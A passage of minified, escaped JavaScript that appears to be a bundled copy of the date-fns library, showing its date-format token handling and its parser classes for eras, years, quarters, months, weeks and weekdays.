t.time({width:\"medium\"});case\"ppp\":return t.time({width:\"long\"});case\"pppp\":default:return t.time({width:\"full\"})}},se=function(e,t){var n,r=e.match(\u002F(P+)(p+)?\u002F)||[],a=r[1],o=r[2];if(!o)return ie(e,t);switch(a){case\"P\":n=t.dateTime({width:\"short\"});break;case\"PP\":n=t.dateTime({width:\"medium\"});break;case\"PPP\":n=t.dateTime({width:\"long\"});break;case\"PPPP\":default:n=t.dateTime({width:\"full\"});break}return n.replace(\"{{date}}\",ie(a,t)).replace(\"{{time}}\",le(o,t))},ue={p:le,P:se},de=ue;function ce(e){var t=new Date(Date.UTC(e.getFullYear(),e.getMonth(),e.getDate(),e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds()));return t.setUTCFullYear(e.getFullYear()),e.getTime()-t.getTime()}var fe=[\"D\",\"DD\"],pe=[\"YY\",\"YYYY\"];function he(e){return-1!==fe.indexOf(e)}function ve(e){return-1!==pe.indexOf(e)}function me(e,t,n){if(\"YYYY\"===e)throw new RangeError(\"Use `yyyy` instead of `YYYY` (in `\".concat(t,\"`) for formatting years to the input `\").concat(n,\"`; see: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FunicodeTokens.md\"));if(\"YY\"===e)throw new RangeError(\"Use `yy` instead of `YY` (in `\".concat(t,\"`) for formatting years to the input `\").concat(n,\"`; see: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FunicodeTokens.md\"));if(\"D\"===e)throw new RangeError(\"Use `d` instead of `D` (in `\".concat(t,\"`) for formatting days of the month to the input `\").concat(n,\"`; see: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FunicodeTokens.md\"));if(\"DD\"===e)throw new RangeError(\"Use `dd` instead of `DD` (in `\".concat(t,\"`) for formatting days of the month to the input `\").concat(n,\"`; see: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FunicodeTokens.md\"))}function ge(e){if(void 0===e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return e}function ye(e,t){return ye=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},ye(e,t)}function be(e,t){if(\"function\"!=typeof t&&null!==t)throw new TypeError(\"Super expression must either be null or a function\");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,\"prototype\",{writable:!1}),t&&ye(e,t)}function $e(e){return $e=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(e){return e.__proto__||Object.getPrototypeOf(e)},$e(e)}function we(){try{var e=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch(e){}return(we=function(){return!!e})()}function _e(e,t){if(t&&(\"object\"==l(t)||\"function\"==typeof t))return t;if(void 0!==t)throw new TypeError(\"Derived constructors may only return object or undefined\");return ge(e)}function ke(e){var t=we();return function(){var n,r=$e(e);if(t){var a=$e(this).constructor;n=Reflect.construct(r,arguments,a)}else n=r.apply(this,arguments);return _e(this,n)}}function Ce(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function xe(e,t){if(\"object\"!=l(e)||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t||\"default\");if(\"object\"!=l(r))return r;throw new TypeError(\"@@toPrimitive must return a primitive value.\")}return(\"string\"===t?String:Number)(e)}function Se(e){var t=xe(e,\"string\");return\"symbol\"==l(t)?t:t+\"\"}function Ee(e,t){for(var n=0;n\u003Ct.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,Se(r.key),r)}}function Te(e,t,n){return t&&Ee(e.prototype,t),n&&Ee(e,n),Object.defineProperty(e,\"prototype\",{writable:!1}),e}function Re(e,t,n){return(t=Se(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Oe=10,Me=function(){function e(){Ce(this,e),Re(this,\"priority\",void 0),Re(this,\"subPriority\",0)}return Te(e,[{key:\"validate\",value:function(e,t){return!0}}]),e}(),Ae=function(e){be(n,e);var t=ke(n);function n(e,r,a,o,i){var l;return Ce(this,n),l=t.call(this),l.value=e,l.validateValue=r,l.setValue=a,l.priority=o,i&&(l.subPriority=i),l}return Te(n,[{key:\"validate\",value:function(e,t){return this.validateValue(e,this.value,t)}},{key:\"set\",value:function(e,t,n){return this.setValue(e,t,this.value,n)}}]),n}(Me),De=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",Oe),Re(ge(e),\"subPriority\",-1),e}return Te(n,[{key:\"set\",value:function(e,t){if(t.timestampIsSet)return e;var n=new Date(0);return n.setFullYear(e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate()),n.setHours(e.getUTCHours(),e.getUTCMinutes(),e.getUTCSeconds(),e.getUTCMilliseconds()),n}}]),n}(Me),We=function(){function e(){Ce(this,e),Re(this,\"incompatibleTokens\",void 0),Re(this,\"priority\",void 0),Re(this,\"subPriority\",void 0)}return Te(e,[{key:\"run\",value:function(e,t,n,r){var a=this.parse(e,t,n,r);return a?{setter:new Ae(a.value,this.validate,this.set,this.priority,this.subPriority),rest:a.rest}:null}},{key:\"validate\",value:function(e,t,n){return!0}}]),e}(),Be=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",140),Re(ge(e),\"incompatibleTokens\",[\"R\",\"u\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"G\":case\"GG\":case\"GGG\":return n.era(e,{width:\"abbreviated\"})||n.era(e,{width:\"narrow\"});case\"GGGGG\":return n.era(e,{width:\"narrow\"});case\"GGGG\":default:return n.era(e,{width:\"wide\"})||n.era(e,{width:\"abbreviated\"})||n.era(e,{width:\"narrow\"})}}},{key:\"set\",value:function(e,t,n){return t.era=n,e.setUTCFullYear(n,0,1),e.setUTCHours(0,0,0,0),e}}]),n}(We),Pe=(Math.pow(10,8),6e4),Ie=36e5,Ne=1e3,Le={month:\u002F^(1[0-2]|0?\\d)\u002F,date:\u002F^(3[0-1]|[0-2]?\\d)\u002F,dayOfYear:\u002F^(36[0-6]|3[0-5]\\d|[0-2]?\\d?\\d)\u002F,week:\u002F^(5[0-3]|[0-4]?\\d)\u002F,hour23h:\u002F^(2[0-3]|[0-1]?\\d)\u002F,hour24h:\u002F^(2[0-4]|[0-1]?\\d)\u002F,hour11h:\u002F^(1[0-1]|0?\\d)\u002F,hour12h:\u002F^(1[0-2]|0?\\d)\u002F,minute:\u002F^[0-5]?\\d\u002F,second:\u002F^[0-5]?\\d\u002F,singleDigit:\u002F^\\d\u002F,twoDigits:\u002F^\\d{1,2}\u002F,threeDigits:\u002F^\\d{1,3}\u002F,fourDigits:\u002F^\\d{1,4}\u002F,anyDigitsSigned:\u002F^-?\\d+\u002F,singleDigitSigned:\u002F^-?\\d\u002F,twoDigitsSigned:\u002F^-?\\d{1,2}\u002F,threeDigitsSigned:\u002F^-?\\d{1,3}\u002F,fourDigitsSigned:\u002F^-?\\d{1,4}\u002F},je={basicOptionalMinutes:\u002F^([+-])(\\d{2})(\\d{2})?|Z\u002F,basic:\u002F^([+-])(\\d{2})(\\d{2})|Z\u002F,basicOptionalSeconds:\u002F^([+-])(\\d{2})(\\d{2})((\\d{2}))?|Z\u002F,extended:\u002F^([+-])(\\d{2}):(\\d{2})|Z\u002F,extendedOptionalSeconds:\u002F^([+-])(\\d{2}):(\\d{2})(:(\\d{2}))?|Z\u002F};function Fe(e,t){return e?{value:t(e.value),rest:e.rest}:e}function Ve(e,t){var n=t.match(e);return n?{value:parseInt(n[0],10),rest:t.slice(n[0].length)}:null}function Ue(e,t){var n=t.match(e);if(!n)return null;if(\"Z\"===n[0])return{value:0,rest:t.slice(1)};var r=\"+\"===n[1]?1:-1,a=n[2]?parseInt(n[2],10):0,o=n[3]?parseInt(n[3],10):0,i=n[5]?parseInt(n[5],10):0;return{value:r*(a*Ie+o*Pe+i*Ne),rest:t.slice(n[0].length)}}function Xe(e){return Ve(Le.anyDigitsSigned,e)}function He(e,t){switch(e){case 1:return Ve(Le.singleDigit,t);case 2:return Ve(Le.twoDigits,t);case 3:return Ve(Le.threeDigits,t);case 4:return Ve(Le.fourDigits,t);default:return Ve(new RegExp(\"^\\\\d{1,\"+e+\"}\"),t)}}function Ge(e,t){switch(e){case 1:return Ve(Le.singleDigitSigned,t);case 2:return Ve(Le.twoDigitsSigned,t);case 3:return Ve(Le.threeDigitsSigned,t);case 4:return Ve(Le.fourDigitsSigned,t);default:return Ve(new RegExp(\"^-?\\\\d{1,\"+e+\"}\"),t)}}function Ye(e){switch(e){case\"morning\":return 4;case\"evening\":return 17;case\"pm\":case\"noon\":case\"afternoon\":return 12;case\"am\":case\"midnight\":case\"night\":default:return 0}}function ze(e,t){var n,r=t>0,a=r?t:1-t;if(a\u003C=50)n=e||100;else{var o=a+50,i=100*Math.floor(o\u002F100),l=e>=o%100;n=e+i-(l?100:0)}return r?n:1-n}function Ke(e){return e%400===0||e%4===0&&e%100!==0}var qe=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",130),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"u\",\"w\",\"I\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return{year:e,isTwoDigitYear:\"yy\"===t}};switch(t){case\"y\":return Fe(He(4,e),r);case\"yo\":return Fe(n.ordinalNumber(e,{unit:\"year\"}),r);default:return Fe(He(t.length,e),r)}}},{key:\"validate\",value:function(e,t){return t.isTwoDigitYear||t.year>0}},{key:\"set\",value:function(e,t,n){var r=e.getUTCFullYear();if(n.isTwoDigitYear){var a=ze(n.year,r);return e.setUTCFullYear(a,0,1),e.setUTCHours(0,0,0,0),e}var o=\"era\"in t&&1!==t.era?1-n.year:n.year;return e.setUTCFullYear(o,0,1),e.setUTCHours(0,0,0,0),e}}]),n}(We),Qe={};function Ze(){return Qe}function Je(e,t){var n,r,a,o,i,l,s,u;te(1,arguments);var d=Ze(),c=ee(null!==(n=null!==(r=null!==(a=null!==(o=null===t||void 0===t?void 0:t.weekStartsOn)&&void 0!==o?o:null===t||void 0===t||null===(i=t.locale)||void 0===i||null===(l=i.options)||void 0===l?void 0:l.weekStartsOn)&&void 0!==a?a:d.weekStartsOn)&&void 0!==r?r:null===(s=d.locale)||void 0===s||null===(u=s.options)||void 0===u?void 0:u.weekStartsOn)&&void 0!==n?n:0);if(!(c>=0&&c\u003C=6))throw new RangeError(\"weekStartsOn must be between 0 and 6 inclusively\");var f=ne(e),p=f.getUTCDay(),h=(p\u003Cc?7:0)+p-c;return f.setUTCDate(f.getUTCDate()-h),f.setUTCHours(0,0,0,0),f}function et(e,t){var n,r,a,o,i,l,s,u;te(1,arguments);var d=ne(e),c=d.getUTCFullYear(),f=Ze(),p=ee(null!==(n=null!==(r=null!==(a=null!==(o=null===t||void 0===t?void 0:t.firstWeekContainsDate)&&void 0!==o?o:null===t||void 0===t||null===(i=t.locale)||void 0===i||null===(l=i.options)||void 0===l?void 0:l.firstWeekContainsDate)&&void 0!==a?a:f.firstWeekContainsDate)&&void 0!==r?r:null===(s=f.locale)||void 0===s||null===(u=s.options)||void 0===u?void 0:u.firstWeekContainsDate)&&void 0!==n?n:1);if(!(p>=1&&p\u003C=7))throw new RangeError(\"firstWeekContainsDate must be between 1 and 7 inclusively\");var h=new Date(0);h.setUTCFullYear(c+1,0,p),h.setUTCHours(0,0,0,0);var v=Je(h,t),m=new Date(0);m.setUTCFullYear(c,0,p),m.setUTCHours(0,0,0,0);var g=Je(m,t);return d.getTime()>=v.getTime()?c+1:d.getTime()>=g.getTime()?c:c-1}var tt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",130),Re(ge(e),\"incompatibleTokens\",[\"y\",\"R\",\"u\",\"Q\",\"q\",\"M\",\"L\",\"I\",\"d\",\"D\",\"i\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return{year:e,isTwoDigitYear:\"YY\"===t}};switch(t){case\"Y\":return Fe(He(4,e),r);case\"Yo\":return Fe(n.ordinalNumber(e,{unit:\"year\"}),r);default:return Fe(He(t.length,e),r)}}},{key:\"validate\",value:function(e,t){return t.isTwoDigitYear||t.year>0}},{key:\"set\",value:function(e,t,n,r){var a=et(e,r);if(n.isTwoDigitYear){var o=ze(n.year,a);return e.setUTCFullYear(o,0,r.firstWeekContainsDate),e.setUTCHours(0,0,0,0),Je(e,r)}var i=\"era\"in t&&1!==t.era?1-n.year:n.year;return e.setUTCFullYear(i,0,r.firstWeekContainsDate),e.setUTCHours(0,0,0,0),Je(e,r)}}]),n}(We);function nt(e){te(1,arguments);var t=1,n=ne(e),r=n.getUTCDay(),a=(r\u003Ct?7:0)+r-t;return n.setUTCDate(n.getUTCDate()-a),n.setUTCHours(0,0,0,0),n}var rt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",130),Re(ge(e),\"incompatibleTokens\",[\"G\",\"y\",\"Y\",\"u\",\"Q\",\"q\",\"M\",\"L\",\"w\",\"d\",\"D\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){return Ge(\"R\"===t?4:t.length,e)}},{key:\"set\",value:function(e,t,n){var r=new Date(0);return r.setUTCFullYear(n,0,4),r.setUTCHours(0,0,0,0),nt(r)}}]),n}(We),at=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",130),Re(ge(e),\"incompatibleTokens\",[\"G\",\"y\",\"Y\",\"R\",\"w\",\"I\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){return Ge(\"u\"===t?4:t.length,e)}},{key:\"set\",value:function(e,t,n){return e.setUTCFullYear(n,0,1),e.setUTCHours(0,0,0,0),e}}]),n}(We),ot=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",120),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"M\",\"L\",\"w\",\"I\",\"d\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"Q\":case\"QQ\":return He(t.length,e);case\"Qo\":return n.ordinalNumber(e,{unit:\"quarter\"});case\"QQQ\":return n.quarter(e,{width:\"abbreviated\",context:\"formatting\"})||n.quarter(e,{width:\"narrow\",context:\"formatting\"});case\"QQQQQ\":return n.quarter(e,{width:\"narrow\",context:\"formatting\"});case\"QQQQ\":default:return n.quarter(e,{width:\"wide\",context:\"formatting\"})||n.quarter(e,{width:\"abbreviated\",context:\"formatting\"})||n.quarter(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=4}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(3*(n-1),1),e.setUTCHours(0,0,0,0),e}}]),n}(We),it=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",120),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"Q\",\"M\",\"L\",\"w\",\"I\",\"d\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"q\":case\"qq\":return He(t.length,e);case\"qo\":return n.ordinalNumber(e,{unit:\"quarter\"});case\"qqq\":return n.quarter(e,{width:\"abbreviated\",context:\"standalone\"})||n.quarter(e,{width:\"narrow\",context:\"standalone\"});case\"qqqqq\":return n.quarter(e,{width:\"narrow\",context:\"standalone\"});case\"qqqq\":default:return n.quarter(e,{width:\"wide\",context:\"standalone\"})||n.quarter(e,{width:\"abbreviated\",context:\"standalone\"})||n.quarter(e,{width:\"narrow\",context:\"standalone\"})}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=4}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(3*(n-1),1),e.setUTCHours(0,0,0,0),e}}]),n}(We),lt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"Q\",\"L\",\"w\",\"I\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),Re(ge(e),\"priority\",110),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return e-1};switch(t){case\"M\":return Fe(Ve(Le.month,e),r);case\"MM\":return Fe(He(2,e),r);case\"Mo\":return Fe(n.ordinalNumber(e,{unit:\"month\"}),r);case\"MMM\":return n.month(e,{width:\"abbreviated\",context:\"formatting\"})||n.month(e,{width:\"narrow\",context:\"formatting\"});case\"MMMMM\":return n.month(e,{width:\"narrow\",context:\"formatting\"});case\"MMMM\":default:return n.month(e,{width:\"wide\",context:\"formatting\"})||n.month(e,{width:\"abbreviated\",context:\"formatting\"})||n.month(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=11}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(n,1),e.setUTCHours(0,0,0,0),e}}]),n}(We),st=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",110),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"Q\",\"M\",\"w\",\"I\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return e-1};switch(t){case\"L\":return Fe(Ve(Le.month,e),r);case\"LL\":return Fe(He(2,e),r);case\"Lo\":return Fe(n.ordinalNumber(e,{unit:\"month\"}),r);case\"LLL\":return n.month(e,{width:\"abbreviated\",context:\"standalone\"})||n.month(e,{width:\"narrow\",context:\"standalone\"});case\"LLLLL\":return n.month(e,{width:\"narrow\",context:\"standalone\"});case\"LLLL\":default:return n.month(e,{width:\"wide\",context:\"standalone\"})||n.month(e,{width:\"abbreviated\",context:\"standalone\"})||n.month(e,{width:\"narrow\",context:\"standalone\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=11}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(n,1),e.setUTCHours(0,0,0,0),e}}]),n}(We);function ut(e,t){var n,r,a,o,i,l,s,u;te(1,arguments);var d=Ze(),c=ee(null!==(n=null!==(r=null!==(a=null!==(o=null===t||void 0===t?void 0:t.firstWeekContainsDate)&&void 0!==o?o:null===t||void 0===t||null===(i=t.locale)||void 0===i||null===(l=i.options)||void 0===l?void 0:l.firstWeekContainsDate)&&void 0!==a?a:d.firstWeekContainsDate)&&void 0!==r?r:null===(s=d.locale)||void 0===s||null===(u=s.options)||void 0===u?void 0:u.firstWeekContainsDate)&&void 0!==n?n:1),f=et(e,t),p=new Date(0);p.setUTCFullYear(f,0,c),p.setUTCHours(0,0,0,0);var h=Je(p,t);return h}var dt=6048e5;function ct(e,t){te(1,arguments);var n=ne(e),r=Je(n,t).getTime()-ut(n,t).getTime();return Math.round(r\u002Fdt)+1}function ft(e,t,n){te(2,arguments);var r=ne(e),a=ee(t),o=ct(r,n)-a;return r.setUTCDate(r.getUTCDate()-7*o),r}var pt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",100),Re(ge(e),\"incompatibleTokens\",[\"y\",\"R\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"I\",\"d\",\"D\",\"i\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"w\":return Ve(Le.week,e);case\"wo\":return n.ordinalNumber(e,{unit:\"week\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=53}},{key:\"set\",value:function(e,t,n,r){return Je(ft(e,n,r),r)}}]),n}(We);function ht(e){te(1,arguments);var t=ne(e),n=t.getUTCFullYear(),r=new Date(0);r.setUTCFullYear(n+1,0,4),r.setUTCHours(0,0,0,0);var a=nt(r),o=new Date(0);o.setUTCFullYear(n,0,4),o.setUTCHours(0,0,0,0);var i=nt(o);return t.getTime()>=a.getTime()?n+1:t.getTime()>=i.getTime()?n:n-1}function vt(e){te(1,arguments);var t=ht(e),n=new Date(0);n.setUTCFullYear(t,0,4),n.setUTCHours(0,0,0,0);var r=nt(n);return r}var mt=6048e5;function gt(e){te(1,arguments);var t=ne(e),n=nt(t).getTime()-vt(t).getTime();return Math.round(n\u002Fmt)+1}function yt(e,t){te(2,arguments);var n=ne(e),r=ee(t),a=gt(n)-r;return n.setUTCDate(n.getUTCDate()-7*a),n}var bt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",100),Re(ge(e),\"incompatibleTokens\",[\"y\",\"Y\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"w\",\"d\",\"D\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"I\":return Ve(Le.week,e);case\"Io\":return n.ordinalNumber(e,{unit:\"week\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=53}},{key:\"set\",value:function(e,t,n){return nt(yt(e,n))}}]),n}(We),$t=[31,28,31,30,31,30,31,31,30,31,30,31],wt=[31,29,31,30,31,30,31,31,30,31,30,31],_t=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"subPriority\",1),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"Q\",\"w\",\"I\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"d\":return Ve(Le.date,e);case\"do\":return n.ordinalNumber(e,{unit:\"date\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){var n=e.getUTCFullYear(),r=Ke(n),a=e.getUTCMonth();return r?t>=1&&t\u003C=wt[a]:t>=1&&t\u003C=$t[a]}},{key:\"set\",value:function(e,t,n){return e.setUTCDate(n),e.setUTCHours(0,0,0,0),e}}]),n}(We),kt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"subpriority\",1),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"Q\",\"M\",\"L\",\"w\",\"I\",\"d\",\"E\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"D\":case\"DD\":return Ve(Le.dayOfYear,e);case\"Do\":return n.ordinalNumber(e,{unit:\"date\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){var n=e.getUTCFullYear(),r=Ke(n);return r?t>=1&&t\u003C=366:t>=1&&t\u003C=365}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(0,n),e.setUTCHours(0,0,0,0),e}}]),n}(We);function Ct(e,t,n){var r,a,o,i,l,s,u,d;te(2,arguments);var c=Ze(),f=ee(null!==(r=null!==(a=null!==(o=null!==(i=null===n||void 0===n?void 0:n.weekStartsOn)&&void 0!==i?i:null===n||void 0===n||null===(l=n.locale)||void 0===l||null===(s=l.options)||void 0===s?void 0:s.weekStartsOn)&&void 0!==o?o:c.weekStartsOn)&&void 0!==a?a:null===(u=c.locale)||void 0===u||null===(d=u.options)||void 0===d?void 0:d.weekStartsOn)&&void 0!==r?r:0);if(!(f>=0&&f\u003C=6))throw new RangeError(\"weekStartsOn must be between 0 and 6 inclusively\");var p=ne(e),h=ee(t),v=p.getUTCDay(),m=h%7,g=(m+7)%7,y=(g\u003Cf?7:0)+h-v;return p.setUTCDate(p.getUTCDate()+y),p}var xt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"incompatibleTokens\",[\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"E\":case\"EE\":case\"EEE\":return n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"});case\"EEEEE\":return n.day(e,{width:\"narrow\",context:\"formatting\"});case\"EEEEEE\":return n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"});case\"EEEE\":default:return n.day(e,{width:\"wide\",context:\"formatting\"})||n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=6}},{key:\"set\",value:function(e,t,n,r){return e=Ct(e,n,r),e.setUTCHours(0,0,0,0),e}}]),n}(We),St=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"incompatibleTokens\",[\"y\",\"R\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"I\",\"d\",\"D\",\"E\",\"i\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n,r){var a=function(e){var t=7*Math.floor((e-1)\u002F7);return(e+r.weekStartsOn+6)%7+t};switch(t){case\"e\":case\"ee\":return Fe(He(t.length,e),a);case\"eo\":return Fe(n.ordinalNumber(e,{unit:\"day\"}),a);case\"eee\":return n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"});case\"eeeee\":return n.day(e,{width:\"narrow\",context:\"formatting\"});case\"eeeeee\":return n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"});case\"eeee\":default:return n.day(e,{width:\"wide\",context:\"formatting\"})||n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=6}},{key:\"set\",value:function(e,t,n,r){return e=Ct(e,n,r),e.setUTCHours(0,0,0,0),e}}]),n}(We),Et=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"incompatibleTokens\",[\"y\",\"R\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"I\",\"d\",\"D\",\"E\",\"i\",\"e\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n,r){var a=function(e){var t=7*Math.floor((e-1)\u002F7);return(e+r.weekStartsOn+6)%7+t};switch(t){case\"c\":case\"cc\":return Fe(He(t.length,e),a);case\"co\":return Fe(n.ordinalNumber(e,{unit:\"day\"}),a);case\"ccc\":return n.day(e,{width:\"abbreviated\",context:\"standalone\"})||n.day(e,{width:\"short\",context:\"standalone\"})||n.day(e,{width:\"narrow\",context:\"standalone\"});case\"ccccc\":return n.day(e,{width:\"narrow\",context:\"standalone\"});case\"cccccc\":return 